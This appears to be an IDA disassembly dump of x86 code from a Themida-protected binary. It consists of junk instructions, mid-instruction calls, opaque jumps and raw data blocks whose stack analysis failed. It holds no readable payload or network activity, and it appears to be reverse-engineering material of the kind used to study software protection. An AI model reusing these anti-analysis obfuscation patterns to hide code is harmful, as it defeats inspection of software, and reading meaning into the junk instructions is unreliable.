; =============== S U B	R O U T	I N E =======================================



sub_6102A3	proc near		; CODE XREF: sub_610297j
		pop	ebx


loc_6102A4:				; CODE XREF: Themida_:loc_610281j
		mov	dx, 28Ch
		mov	edi, 64A2FBD9h
		sbb	ch, 29h
		mov	bx, ax
		movzx	ebx, dx
		clc
		jno	loc_6102D8
		pusha
		jmp	loc_6102D7
; ---------------------------------------------------------------------------
		db 68h
		dd 89DF5303h, 0FAC3B3F4h, 95EE7123h, 0CA6BE949h
		db 0ADh, 0F7h, 48h
; ---------------------------------------------------------------------------


loc_6102D7:				; CODE XREF: sub_6102A3+1Bj
		popa


loc_6102D8:				; CODE XREF: sub_6102A3+14j
		jnb	loc_6102E1
		mov	si, dx


loc_6102E1:				; CODE XREF: sub_6102A3:loc_6102D8j
		movzx	esi, si
		mov	dx, bx
		clc
		pusha
		movzx	ecx, si
		popa
		sub	al, 64h
		js	loc_610313
		jle	loc_610313
		call	sub_610312
		pop	ecx
		dec	eax
		xchg	eax, ecx
		pop	edx
		inc	esi
		mov	ds:597CB59Ch, ebx
		call	near ptr 65E9087Dh
		icebp
sub_6102A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_610312	proc near		; CODE XREF: sub_6102A3+59p
		pop	ebx


loc_610313:				; CODE XREF: sub_6102A3+4Dj
					; sub_6102A3+53j
		jnz	loc_61031F
		or	ebx, 7ACAD5Bh


loc_61031F:				; CODE XREF: sub_610312:loc_610313j
		mov	di, cx
		pusha
		movzx	edx, bx
		call	near ptr loc_610338+5
		inc	ebp
		push	edi
		outsb
		sub	eax, 6414A3A1h
		add	al, 0A9h
		daa
		adc	al, 0E8h


loc_610338:				; CODE XREF: sub_610312+14p
		sbb	dword ptr [esi+ecx*8], 8166224Fh
sub_610312	endp ; sp-analysis failed

		sar	dword ptr [edx-7E9EA645h], 0D3h
		jo	short loc_610383
		loopne	near ptr loc_61037A+2
		jl	loc_610352
		mov	bl, dl


loc_610352:				; CODE XREF: Themida_:0061034Aj
		jnp	loc_61035D
		mov	edx, 5E43FB3Dh


loc_61035D:				; CODE XREF: Themida_:loc_610352j
		mov	dx, 982Eh
		stc
		call	sub_61036C
		mov	dl, 0Dh
		mov	cl, 39h
		pop	es

; =============== S U B	R O U T	I N E =======================================



sub_61036C	proc near		; CODE XREF: Themida_:00610362p
		movzx	eax, si
		pop	edi
		pusha
		mov	si, bx
		push	ecx
		pop	ecx
		popa
		mov	si, dx


loc_61037A:				; CODE XREF: Themida_:00610348j
		jno	loc_610383
		or	dl, 3Ch


loc_610383:				; CODE XREF: Themida_:00610346j
					; sub_61036C:loc_61037Aj
		push	ebx
		mov	si, di
		pop	edx
		jz	loc_6103A9
		push	ecx
		jmp	loc_6103A8
; ---------------------------------------------------------------------------
		or	[edx-3Bh], ecx
		adc	[edi], dl


loc_610399:				; CODE XREF: sub_61036C:loc_610399j
		jmp	short loc_610399
; ---------------------------------------------------------------------------
		db 51h
		dd 0DAFAA8AFh, 9EA75C00h, 8BEE0FD2h
; ---------------------------------------------------------------------------


loc_6103A8:				; CODE XREF: sub_61036C+23j
		pop	ecx


loc_6103A9:				; CODE XREF: sub_61036C+1Cj
		mov	esi, 6BA6FFh
		adc	si, 0D65h
		mov	esi, eax
		movsx	esi, dx
		movsx	edx, bx
		push	ecx
		pop	ecx
		pusha
		pusha
		mov	di, dx
		sbb	dh, 9
		popa
		cmc
		popa
		mov	di, 4098h
		mov	cx, 8D74h
		jmp	loc_6103DE
; ---------------------------------------------------------------------------
		db 0FDh, 40h, 41h
		dd 44B5F63h
		db 0A6h, 26h
; ---------------------------------------------------------------------------


loc_6103DE:				; CODE XREF: sub_61036C+64j
		mov	eax, 29248AAFh
		mov	bl, 5Dh
		call	near ptr loc_6103F7+2
		enter	415Bh, 0E4h
		dec	ebp
		cmp	al, 0AEh
		arpl	[edx+22108AF5h], sp


loc_6103F7:				; CODE XREF: sub_61036C+79p
		lds	edi, [eax+58h]
sub_61036C	endp ; sp-analysis failed

		pusha
		jmp	loc_610411
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0DDh, 48h, 35h
		dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h
		db 2
; ---------------------------------------------------------------------------


loc_610411:				; CODE XREF: Themida_:006103FBj
		popa
		jnp	loc_61041E
		pusha
		push	edi
		pop	eax
		mov	ah, 0A6h
		popa


loc_61041E:				; CODE XREF: Themida_:00610412j
		xor	edx, 2A8C287Eh
		mov	bx, 3052h
		mov	si, dx
		mov	cl, 24h
		jo	loc_61043A
		push	ecx
		mov	edx, 739B2FCBh
		pop	ecx


loc_61043A:				; CODE XREF: Themida_:0061042Dj
		call	sub_610448
		and	al, 0FCh
		jmp	near ptr 0C6F3E8C6h
; ---------------------------------------------------------------------------
		dw 96A0h

; =============== S U B	R O U T	I N E =======================================



sub_610448	proc near		; CODE XREF: Themida_:loc_61043Ap
		movzx	ecx, si
		pop	edi
		mov	dh, 6Bh
		sbb	esi, 5ADF0CD0h
		jb	loc_61045F
		mov	ecx, 5BEB5B76h


loc_61045F:				; CODE XREF: sub_610448+Cj
		push	edi
		sub	dl, 9Bh
		pop	edx
		movsx	eax, bx
		or	ax, 71C7h
		mov	dl, 0C9h
		movsx	esi, ax
		jnp	loc_61047C
		mov	eax, 76DFAF4Ah


loc_61047C:				; CODE XREF: sub_610448+29j
		mov	bx, 8D6Bh
		mov	ecx, 48CF9E33h
		jz	loc_610495
		ja	loc_610495
		mov	bx, 66E2h


loc_610495:				; CODE XREF: sub_610448+3Dj
					; sub_610448+43j
		mov	ax, si
		pusha
		clc
		and	si, 0CC39h
		popa
		mov	edx, ecx
		mov	si, di
		js	loc_6104AD
		mov	dh, 0D5h


loc_6104AD:				; CODE XREF: sub_610448+5Dj
		jmp	loc_6104BF
; ---------------------------------------------------------------------------
		dw 0E621h
		dd 518D3B80h, 0D74FA99Ch
		db 0C6h, 53h, 30h
; ---------------------------------------------------------------------------


loc_6104BF:				; CODE XREF: sub_610448:loc_6104ADj
		jmp	loc_6104D2
; ---------------------------------------------------------------------------
		dd 0FD288ABDh, 0F24D6A1Ch, 0A6AC3A10h
; ---------------------------------------------------------------------------
		push	ds
		dec	ebp


loc_6104D2:				; CODE XREF: sub_610448:loc_6104BFj
		mov	esi, 6A497F0h
		pusha
		jmp	loc_6104F0
; ---------------------------------------------------------------------------
		db 0D3h, 89h, 60h
		dd 5E24DE48h, 1B85661Ah, 0FBA1D507h, 0DD25170Ah
; ---------------------------------------------------------------------------


loc_6104F0:				; CODE XREF: sub_610448+90j
		mov	edi, 73C95173h
		popa
		jmp	loc_61050C
; ---------------------------------------------------------------------------
		db 0FAh
		dd 0FBC1A946h, 0A3E1326Ah, 0A58629D4h, 89DF208h
; ---------------------------------------------------------------------------


loc_61050C:				; CODE XREF: sub_610448+AEj
		js	loc_610522
		jmp	loc_610522
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0CF0227F7h, 0C10C1164h
		db 0C0h, 0B7h
; ---------------------------------------------------------------------------


loc_610522:				; CODE XREF: sub_610448:loc_61050Cj
					; sub_610448+CAj
		pusha
		mov	cx, 4B3Ah
		add	edx, 5B4E9F00h
		popa
		jmp	loc_61053C
; ---------------------------------------------------------------------------
		db 0DAh
		dd 6DAAF4FAh, 80A3AD7Eh
; ---------------------------------------------------------------------------


loc_61053C:				; CODE XREF: sub_610448+E6j
		pusha
		jbe	loc_610545	; CODE XREF: sub_6105A3+1Dj
		mov	edi, eax


loc_610545:				; CODE XREF: sub_610448+F5j
		and	al, 0C9h
		popa
		mov	ax, 7754h
		call	sub_610563
		rep inc	eax
		daa
		mov	ch, 95h
		outsb
		sub	esi, 0FFFFFFF7h
		shl	dword ptr [eax], cl
		or	edi, [esi-5Dh]
		dec	ebx
		cwde
		pusha
sub_610448	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_610563	proc near		; CODE XREF: sub_610448+105p
		call	near ptr loc_610570+4
		push	esp
		xchg	eax, ebx
		neg	esi
		pop	ecx
		stosb
		push	eax
		insd


loc_610570:				; CODE XREF: sub_610563p
		mov	esp, 0BB85E439h
sub_610563	endp ; sp-analysis failed

		pop	eax
		db	66h
		rcr	byte ptr [edi+ebx*2+5Eh], cl
		and	edi, 52FA1BD5h
		jmp	loc_610598
; ---------------------------------------------------------------------------
		dw 0E4B9h
; ---------------------------------------------------------------------------
		add	eax, 68633CF0h
		neg	dword ptr ds:0DE91846Ah
		mov	bl, 0ADh
		inc	esi
		pop	edx
		push	ebp


loc_610598:				; CODE XREF: Themida_:00610581j
		call	sub_6105A3
		mov	ds:87D56564h, eax
		in	eax, dx

; =============== S U B	R O U T	I N E =======================================



sub_6105A3	proc near		; CODE XREF: Themida_:loc_610598p
		mov	esi, 1006DB94h
		pop	esi
		movsx	ecx, dx
		jl	loc_6105C7
		call	sub_6105C4
		insd
		xchg	eax, esp
		test	al, 29h
		adc	ch, [edx]
		mov	word ptr [edx-23h], es
		jno	short near ptr loc_61053D+5
		pushf
		into
sub_6105A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6105C4	proc near		; CODE XREF: sub_6105A3+Fp
		push	esi
		pop	ecx
		pop	eax


loc_6105C7:				; CODE XREF: sub_6105A3+9j
		and	dx, 1BCBh
		sbb	ebx, 4769F630h
		jmp	loc_6105DD
; ---------------------------------------------------------------------------
		db 46h
		dd 0A437AFE6h
		db 10h
; ---------------------------------------------------------------------------


loc_6105DD:				; CODE XREF: sub_6105C4+Ej
		mov	dx, 2BAh
		push	ebx
		pop	edx
		jnp	loc_6105EB
		mov	dh, al


loc_6105EB:				; CODE XREF: sub_6105C4+1Fj
		mov	cl, dl
		mov	ax, 29BCh
		jmp	loc_6105FE
; ---------------------------------------------------------------------------
		dw 12BEh
		dd 0A74BE0D9h
		db 0C7h, 0B4h
; ---------------------------------------------------------------------------


loc_6105FE:				; CODE XREF: sub_6105C4+2Dj
		movsx	ecx, cx
		cld
		xor	ah, 0E5h
		mov	si, 0D0EDh
		jmp	loc_610620
; ---------------------------------------------------------------------------
		dw 0DEF6h
		dd 20980B8Ah, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh
; ---------------------------------------------------------------------------


loc_610620:				; CODE XREF: sub_6105C4+45j
		cld
		mov	bh, 0F7h
		mov	cl, dl
		mov	cx, 862Bh
		cmc
		pusha
		or	dh, 81h
		jo	loc_610636
		pusha
		popa


loc_610636:				; CODE XREF: sub_6105C4+6Aj
		popa
		mov	ecx, eax
		call	near ptr loc_61064A+4
		xchg	eax, ebx
		in	al, dx
		shr	byte ptr [esi+10h], 1
		mov	byte ptr [esi-0A506B26h], 75h


loc_61064A:				; CODE XREF: sub_6105C4+75p
		repne push 0EE957ECh
sub_6105C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 91000000h, 9ADA1409h, 0B6350049h, 94B748CFh,	60525B0Ah
		dd 61FA8AF9h, 4192B95Ah, 0B8664B0Ch, 0B35226BFh, 8B665FFEh
		dd 0FEC7B8C1h, 5E857F2h, 0ED000000h, 92B5920Dh,	6E9h, 4275C500h
		dd 5921276Ch, 0EDA6EFB8h, 0F88B666Bh, 0DFB70F60h, 0F6142B7h
		dd 8160F7BFh, 0AB086BE1h, 61F08B0Bh, 23DCBDB9h,	88E0F7Dh
		dd 0F000000h, 289h, 6079B200h, 51F3BB66h, 0F8CCB461h, 75F68166h
		dd 12E844h, 22370000h, 4D363072h, 8B01D306h, 9EC3F75Eh
		dd 8FC37696h, 6E9h, 30069800h, 5B8C92FAh, 0FCAB70Fh, 2D82h
		dd 0EE800h, 0B0740000h,	0ED21F1AAh, 92731CB4h, 0AC3C6BEBh
		dd 14E9h, 83021300h, 3B8D55A2h,	0BFF59958h, 0DBEB437h
		dd 3F07D5E5h, 0BF665BDBh, 66531282h, 0D1BC881h,	7E85Bh
		dd 0FEC10000h, 41CA276Fh, 0D78166C5h, 0F592B8Ch, 38Ah
		dd 0C7BF0F00h, 8F96B9F9h, 8B660CCDh, 0F810FF2h,	50000000h
		dd 8E9h, 93B75D00h, 0F7F81B48h,	820F592Dh, 8, 28C0Fh, 0F08B0000h
		dd 60604EB3h, 0DE8h, 6AF43A00h,	0BE9AF175h, 16E3349Bh
		dd 615F6B13h, 7CB86661h, 7E180FDh, 10E9h, 5BA6A300h, 0FC4A36F7h
		dd 25DF5F57h, 614A0D15h, 0CE8F9h, 7A710000h, 0B57AEAEAh
		dd 0FB9CBBEAh, 7AB85CE7h, 5E3892C1h, 0E9D8BF0Fh, 9, 2364116Ch
		dd 1231B7BBh, 8E0F6082h, 0
; ---------------------------------------------------------------------------
		push	edi
		movzx	ebx, ax
		pop	edx
		popa
		adc	ax, 0B664h
		mov	ecx, 1234B6FBh
		mov	ch, 1Eh
		mov	eax, 7AB6C26Bh
		jmp	loc_610810
; ---------------------------------------------------------------------------
		dd 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh, 0DE39E678h, 44EFEEABh
; ---------------------------------------------------------------------------


loc_610810:				; CODE XREF: Themida_:006107F7j
		jns	loc_610827
		push	eax
		jmp	loc_610826
; ---------------------------------------------------------------------------
		scasd
		mov	esp, 0DEC6E863h
		pop	edx
		std
		inc	esi
		stosb


loc_610826:				; CODE XREF: Themida_:00610817j
		pop	ecx


loc_610827:				; CODE XREF: Themida_:loc_610810j
		jmp	loc_610836
; ---------------------------------------------------------------------------
		not	eax
		retn
; ---------------------------------------------------------------------------
		db 41h
		dd 59BC8DBCh
; ---------------------------------------------------------------------------
		test	al, 74h


loc_610836:				; CODE XREF: Themida_:loc_610827j
		mov	eax, 65AFA77Eh
		jmp	loc_610854
; ---------------------------------------------------------------------------
		dd 0F4CED3C5h, 9416EA5Eh, 1ED562DBh, 7C09C9E2h,	454A89ADh
; ---------------------------------------------------------------------------


loc_610854:				; CODE XREF: Themida_:0061083Bj
		push	eax
		cmc
		pop	ecx
		mov	ah, 62h
		movsx	esi, di
		movsx	eax, dx
		mov	ebx, 57E41FFh
		jmp	loc_610871
; ---------------------------------------------------------------------------
		test	eax, 0D30AEFD4h
		inc	ebp
		pop	ebp
		cdq


loc_610871:				; CODE XREF: Themida_:00610864j
		pusha
		mov	al, 0A2h
		pusha
		mov	bx, 0BF6Fh
		popa
		popa
		jbe	loc_610887
		xor	ebx, 7AA79EE4h


loc_610887:				; CODE XREF: Themida_:0061087Bj
		and	bl, 0E5h
		jb	loc_610896
		sub	edx, 3079BDh


loc_610896:				; CODE XREF: Themida_:0061088Aj
		add	cx, 0CBACh
		mov	ecx, ebx
		mov	ecx, 3D4B4918h
		call	near ptr loc_6108A9+4
		pop	edx
		inc	esi


loc_6108A9:				; CODE XREF: Themida_:006108A2p
		mov	ds:7ABBB59Ch, ebx
		hlt
; ---------------------------------------------------------------------------
		mov	ah, 5Bh
		pop	edi
		jnz	loc_6108C5
		jle	loc_6108C5
		jnp	$+6


loc_6108C5:				; CODE XREF: Themida_:006108B3j
					; Themida_:006108B9j
		mov	edi, eax
		jmp	loc_6108DF
; ---------------------------------------------------------------------------
		dd 0F0125F74h, 978032E3h, 1D55B2A8h, 0B415F270h
		db 44h,	90h, 8Fh
; ---------------------------------------------------------------------------


loc_6108DF:				; CODE XREF: Themida_:006108C7j
		jns	loc_6108EB
		and	edx, 6842F458h


loc_6108EB:				; CODE XREF: Themida_:loc_6108DFj
		jmp	loc_610903
; ---------------------------------------------------------------------------
		dd 90FF107Dh, 37CD36B0h, 7F319AB2h, 4C77E87Ah
		db 2 dup(16h), 68h
; ---------------------------------------------------------------------------


loc_610903:				; CODE XREF: Themida_:loc_6108EBj
		pusha
		jmp	loc_61091B
; ---------------------------------------------------------------------------
		db 3Eh,	85h, 0E3h
		dd 2B8637B1h, 591EDA60h, 6DA786Ah
		db 62h,	52h, 0FDh
; ---------------------------------------------------------------------------


loc_61091B:				; CODE XREF: Themida_:00610904j
		mov	ch, ah
		popa
		jnz	loc_610927
		movzx	edi, cx


loc_610927:				; CODE XREF: Themida_:0061091Ej
		mov	edx, 1397CE1Eh
		and	ch, 3Ch
		clc
		mov	si, 0D9D8h
		xor	ebx, 15587CFFh
		pusha
		mov	bx, dx
		popa
		sub	ch, 58h
		jmp	loc_61094E
; ---------------------------------------------------------------------------
		db 0FCh
		dd 2B29839Fh
		db 6Dh,	35h
; ---------------------------------------------------------------------------


loc_61094E:				; CODE XREF: Themida_:00610942j
		call	loc_61095B
		enter	260Ah, 2Eh
		jbe	short near ptr loc_6109A0+4
		in	eax, dx
		push	es


loc_61095B:				; CODE XREF: Themida_:loc_61094Ep
		pusha
		jmp	loc_610967
; ---------------------------------------------------------------------------
		db 0EAh, 0EFh, 0C0h
		db 15h,	3Ah, 7Fh
; ---------------------------------------------------------------------------


loc_610967:				; CODE XREF: Themida_:0061095Cj
		popa
		pop	esi
		and	cl, 0C3h
		jmp	loc_610980
; ---------------------------------------------------------------------------
		db 0Bh,	78h, 15h
		dd 0BC9ABF62h, 713CFEBCh, 5F3C6C71h
; ---------------------------------------------------------------------------


loc_610980:				; CODE XREF: Themida_:0061096Cj
		mov	edi, eax
		call	sub_610997
		stc
		arpl	[edi-14h], dx
		mov	ah, 0DDh
		inc	ebx
; ---------------------------------------------------------------------------
		dw 668Fh
; ---------------------------------------------------------------------------
		mov	al, ds:8080E576h
		aad	0B4h

; =============== S U B	R O U T	I N E =======================================



sub_610997	proc near		; CODE XREF: Themida_:00610982p
		mov	cl, 49h
		pop	ebx
		xor	esi, 682A56C9h


loc_6109A0:				; CODE XREF: Themida_:00610957j
		call	near ptr loc_6109B2+1
		and	eax, 8BE8CE7Fh
		pop	ss
		cld
		adc	bh, [edi+4FBCBB4Ah]


loc_6109B2:				; CODE XREF: sub_610997:loc_6109A0p
		shr	al, 11h
sub_610997	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		and	[edx-5Ah], cl
		fcomp	qword ptr [edi]
		push	edx


loc_6109BE:				; CODE XREF: Themida_:006109E4j
		sbb	[edi-4A2A01Bh],	cl
		mov	byte ptr [edi],	40h
		jnb	short near ptr loc_610A3D+2
		cmc
		pop	ecx
		pop	esi
		jno	loc_6109D8
		pusha
		pusha
		popa
		push	ebx
		pop	eax
		popa


loc_6109D8:				; CODE XREF: Themida_:006109CCj
		pusha
		jmp	loc_6109E6
; ---------------------------------------------------------------------------
		dw 1DB6h
		dd 5C7EE93h
; ---------------------------------------------------------------------------
		jno	short loc_6109BE


loc_6109E6:				; CODE XREF: Themida_:006109D9j
		pusha
		jz	$+6
		popa
		popa
		mov	bx, di
		jg	loc_610A00
		jl	loc_610A00
		push	ecx
		pop	esi


loc_610A00:				; CODE XREF: Themida_:006109F2j
					; Themida_:006109F8j
		movzx	edx, si
		mov	eax, 1CD42586h
		mov	edi, 769ADD23h
		pusha
		and	ebx, 7CA94A29h
		mov	eax, ebx
		popa
		mov	bx, 50D0h
		mov	si, 0A6C3h
		mov	al, 87h
		mov	si, 521Bh
		jmp	loc_610A32
; ---------------------------------------------------------------------------
		dw 22D2h
		dd 0C8B70C3Fh
		db 0DEh, 0A4h
; ---------------------------------------------------------------------------


loc_610A32:				; CODE XREF: Themida_:00610A25j
		and	edx, 16997D4Ch
		mov	eax, 36299295h


loc_610A3D:				; CODE XREF: Themida_:006109C7j
		mov	esi, 6964D5C8h
		jb	loc_610A60
		jmp	loc_610A60
; ---------------------------------------------------------------------------
		db 0A6h, 0F8h, 0D8h
		dd 9A05965Fh, 419F8AEAh, 954F37C0h, 647A5330h
; ---------------------------------------------------------------------------


loc_610A60:				; CODE XREF: Themida_:00610A42j
					; Themida_:00610A48j
		mov	cl, 12h
		push	eax
		xor	eax, 0FC25CEEh
		pop	edx
		movzx	eax, cx
		mov	cx, 130Eh
		clc
		ja	$+6
		jz	loc_610A84
		push	ecx
		mov	ax, 0B7A0h
		pop	esi


loc_610A84:				; CODE XREF: Themida_:00610A78j
		stc
		clc
		sub	dl, 84h
		sbb	di, 0A0D1h
		mov	al, 83h
		mov	edi, edx
		movsx	edx, ax
		and	edi, 34C9F839h
		jnz	loc_610AA9
		jo	loc_610AA9
		mov	eax, edi


loc_610AA9:				; CODE XREF: Themida_:00610A9Bj
					; Themida_:00610AA1j
		or	cl, 0A7h
		mov	ebx, ecx
		cmc
		sub	eax, 402BC94Ch
		call	near ptr loc_610AC2+3
		rcr	byte ptr [eax-3EFE1651h], 1
		jecxz	short near ptr loc_610ACE+1


loc_610AC2:				; CODE XREF: Themida_:00610AB5p
		mov	eax, 8B66C50Eh
		mov	dword ptr [ebx+0Fh], 1A85h


loc_610ACE:				; CODE XREF: Themida_:00610AC0j
		add	al, ch
		adc	[eax], al
; ---------------------------------------------------------------------------
		dw 0
		dd 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h, 4963BF66h
		dd 10E9505Bh, 99000000h, 0C075B326h, 0F78D595Bh, 0A71312A8h
		dd 58E5B71Fh, 96C08166h, 3ABB6627h, 0F08B6656h,	0FD08B66h
		dd 32BFFAB7h, 0B0477F4Ch, 0F8B70F69h, 2860FF5h,	8B000000h
		dd 4924BEFEh, 8B606769h, 12E9C6h, 0AE7A0000h, 7C8214B1h
		dd 726D567Ch, 500EDD41h, 1F90B481h, 0C7C78061h,	38C88166h
		dd 0AE96048h, 0B9000000h, 10F0E90Ch, 0EA3775A8h, 14E9A5h
		dd 208E0000h, 0B3AFE2BCh, 6F3909ACh, 0DC5312E8h, 5D1D503Ah
		dd 60612121h, 0AE956h, 5BFE0000h, 85A06BEFh, 187CBE95h
		dd 0B3BB6158h, 0F367ADFh, 381h,	0C8B70F00h, 0FC3B0F8h
		dd 0E881C2B7h, 29CF29D3h, 8003E480h, 81667AE7h,	0E9A4FFE3h
		dd 9, 8543E2Ah,	0E7FE09EBh, 9E956A9h, 0D4000000h, 56757118h
		dd 9719FC34h, 42B6F559h, 9870Fh, 8A0F0000h, 3, 0E9DABF0Fh
		dd 7, 0D0ADED90h, 8B120319h, 0DF8160D7h, 587D2778h, 0DF8061FCh
		dd 7BE66D5h, 0EA4BB834h, 0D2813F39h, 2FDB26D0h,	0C1C7BA60h
		dd 816128BDh, 31A7C4EEh, 940ABF2Ch, 0F504A00h, 38Bh, 0FBC68000h
		dd 8B66515Fh, 0FF95ADFh, 850FCEBFh, 2, 12E8D18Bh, 24000000h
		dd 0D53B6877h, 28817C3Dh, 9E7D143Ah, 59C083A8h,	0BE974h
		dd 7B710000h, 0ADDB75F4h, 0F73CC4BEh, 666059E1h, 0A26BF381h
		dd 8B6661F8h, 6E7B9D7h,	0F50312Dh, 8158C8B7h, 5E4832F0h
		dd 1089B912h, 4CB07E68h, 13E8h,	0DD356100h, 422E3A5Ah
		dd 6EAEE137h, 0D6524546h, 7C91323Ah, 7880F59h, 57000000h
		dd 820627B9h, 0E9605E67h, 0Ch, 0F30DB41Ch, 4F9B87E3h, 5B4148A9h
		dd 61F9B70Fh, 0EE96CB1h, 0B0000000h, 0D327FE49h, 7E01DC50h
		dd 27D1C4D9h, 13810F8Ch, 0E9000000h, 0Eh, 35EDA838h, 91656871h
		dd 0F9EB58CDh, 830F36B3h, 3, 0FCDEB70Fh, 66F81CB5h, 0CA07F281h
		dd 13E8F5h, 5B7B0000h, 99A0EF4Ah, 5BC25CEDh, 339884D3h
		dd 74A0B4D1h, 0C7BF0FC9h, 0BE85Eh, 9190000h, 2CB54C2Ch
		dd 0FBE77058h, 5DA8BE00h, 0B959575Fh, 26E9EA5Bh, 5980B866h
		dd 66F3B70Fh, 239FE781h, 35CE8166h, 0C88B6615h,	0EE960h
		dd 0B4360000h, 0D999242Fh, 47F43D9Dh, 0D59B258Dh, 6147EA80h
		dd 6E6CBB66h, 0E9DFD380h, 10h, 581A90C9h, 0F281665Eh, 6BD1809Ch
		dd 6EE34C52h, 0ACD28166h, 0BCF4BB02h, 0CE94A32h, 9E000000h
		dd 0ED479472h, 1345414Ah, 0BBF6EE80h, 38849FDBh, 0F9FCD80h
		dd 188h, 0BE9FC00h, 50000000h, 5110AFC9h, 3F49929h, 0CF8A1C7Fh
		dd 38A0FF5h, 0F000000h,	0D48AC2BFh, 0E9F6B70Fh,	0Dh, 616FE882h
		dd 0F4C86DE4h, 0EE70D60h, 8CBE665Ah, 13EA8135h,	8B73859Eh
		dd 0E08166F3h, 0FF536AFh, 8166F9BFh, 0E8E211C1h, 0Ah, 0A8724A84h
		dd 9A766FC7h, 62B76DBDh, 14E95Bh, 70B80000h, 8D329E87h
		dd 7D5C16E2h, 3B1A0516h, 0F35E6F3Fh, 0F18B0E8Ah, 880FCE8Bh
		dd 18h,	0CE8h, 45B05500h, 599F121Ch, 0FAF9B079h, 98E88191h
		dd 5B0B72C3h, 0FD7B70Fh, 0EE80D8BFh, 8880FAFh, 0F000000h
		dd 289h, 0F4FB700h, 682h, 0CDE78100h, 0E920F888h, 5, 26A27AF9h
		dd 8E0FF6h, 66000000h, 8C5EF081h, 0E82CC380h, 0Ch, 0C8944DACh
		dd 0B3C8F215h, 0F5D2FC57h, 68C0Fh, 0DF810000h, 55C5D349h
		dd 3890F5Fh, 66000000h,	0CE9D68Bh, 0E9000000h, 924586C9h
		dd 0ED3E55BDh, 5677007Bh, 515ED08Bh, 5BC9BF0Fh,	2BE98166h
		dd 0D88B663Dh, 7E9AAB7h, 0C6000000h, 796477F0h,	8B663A95h
		dd 28C0FF3h, 8A000000h,	57CE8BDCh, 0B38FE881h, 605814ECh
		dd 8BFB8B66h, 665361DEh, 5B159CB9h, 0FA8BDE8Bh,	0DE857h
		dd 0E5710000h, 0AAC9A501h, 7685A360h, 0B8B947F0h, 5CFEA5CAh
		dd 0DAB65B59h, 8D0Fh, 0F7810000h, 77A3DE05h, 5920CBAh
		dd 12E848h, 2C470000h, 21CF85D2h, 1EF6ADE3h, 971BF5DDh
		dd 0C2D9B9Dh, 0F5EFC8Ah, 36B6FFB7h, 226584BEh, 6E90Ah
		dd 40DC0000h, 0B2DDDD36h, 5E9h,	7430A000h, 0BA66A2D9h
		dd 0B70F1282h, 11E9D9h,	2CA10000h, 100337A4h, 6FD1BC45h
		dd 30E07850h, 0E996A634h, 13h, 0C8310D32h, 0E33F9F08h
		dd 0FA6BF9F3h, 0C8D35F3Bh, 661CD0EAh, 0B8F88BB9h, 3D97F738h
		dd 7341F081h, 0DE97EC1h, 55000000h, 0BEE2659Bh,	12958193h
		dd 7CF8BAFEh, 9880Fh, 0B3600000h, 0B840BBA2h, 0F6132CFh
		dd 0BE9F9B7h, 87000000h, 73EB5A94h, 9B9510B3h, 800F0BA5h
		dd 12h,	0DE9h, 9FC16500h, 0A294EF7Eh, 91CE8630h, 66F893E0h
		dd 1158D881h, 58F0Fh, 81660000h, 51E6BAC1h, 13E8h, 8572E900h
		dd 0DAF9CAFh, 4F03844Ch, 271EF01h, 0D749429h, 0F88B5E5Bh
		dd 625FB866h, 0BAFEBF0Fh, 63C1AF37h, 8B57E480h,	0F28BF9C8h
		dd 810F6FB5h, 0
; ---------------------------------------------------------------------------
		jmp	loc_611045
; ---------------------------------------------------------------------------
		lea	ebp, [ecx+63366E1Eh]
		push	6Ah


loc_611045:				; CODE XREF: Themida_:00611038j
		mov	ax, 0F528h
		push	eax
		sbb	cl, 0Ch
		pop	ebx
		clc
		mov	dx, 65ABh
		pusha
		jb	loc_61105D
		movzx	ebx, di


loc_61105D:				; CODE XREF: Themida_:00611054j
		push	edx
		adc	bl, 95h
		pop	edx
		popa
		movzx	esi, dx
		and	ecx, 975F7A4h
		js	loc_611077
		mov	ebx, 17CF22C8h


loc_611077:				; CODE XREF: Themida_:0061106Cj
		mov	dl, 81h
		jg	loc_611082
		mov	ax, di


loc_611082:				; CODE XREF: Themida_:00611079j
		jge	loc_611094
		jp	loc_611094
		jnb	$+6


loc_611094:				; CODE XREF: Themida_:loc_611082j
					; Themida_:00611088j
		mov	cx, 0D4CBh
		cld
		and	di, 9616h
		jmp	loc_6110B1
; ---------------------------------------------------------------------------
		push	esi
		nop
		rcr	dword ptr [esi+ecx], 1
		mov	eax, 0E37D0312h
		sub	[ebx-22h], ecx


loc_6110B1:				; CODE XREF: Themida_:0061109Ej
		movsx	eax, cx
		or	cl, 81h
		call	sub_6110CE
		adc	al, [esi]
		push	0FFFFFF9Fh
		popa
		mov	ah, 0B0h
		push	19h
		inc	ebp
		jnp	short loc_611140
		mov	eax, gs:0D94C90EBh

; =============== S U B	R O U T	I N E =======================================



sub_6110CE	proc near		; CODE XREF: Themida_:006110B7p
		call	near ptr loc_6110DE+3
		xchg	eax, ebx
		fcmove	st, st(7)
		sub	al, 9Ah
		sub	eax, [ecx+ebx*4-47h]
		mov	cl, ch


loc_6110DE:				; CODE XREF: sub_6110CEp
		db	64h
		mov	ebx, 880F46h
sub_6110CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 5A000000h, 8F0F59h, 0F9000000h, 9ED08166h, 0AE978h
		dd 0E93F0000h, 0C449A6F1h, 0B8553F41h, 14E9h, 6B7C9F00h
		dd 2839789Fh, 2DA3C882h, 0C30CAB44h, 0EE3548DDh, 8A5CB611h
		dd 11E850C6h, 7F000000h, 5F68FBCFh, 0F8CFE6E6h,	7BE68ABBh
		dd 3ADAB403h, 13E9h, 0E6E17F00h
; ---------------------------------------------------------------------------


loc_611140:				; CODE XREF: Themida_:006110C6j
		shl	byte ptr [edx-605DA25Ch], 29h
		das
		add	ecx, [eax+6Bh]
		mov	ebx, 0B2AE3DBFh
		pop	ebx
		pop	ecx
		mov	ebx, esi
		adc	esi, 547DD624h
		movsx	esi, dx
		add	di, 0AC1h
		adc	dx, 0D29Ch
		and	eax, 4A30EB42h
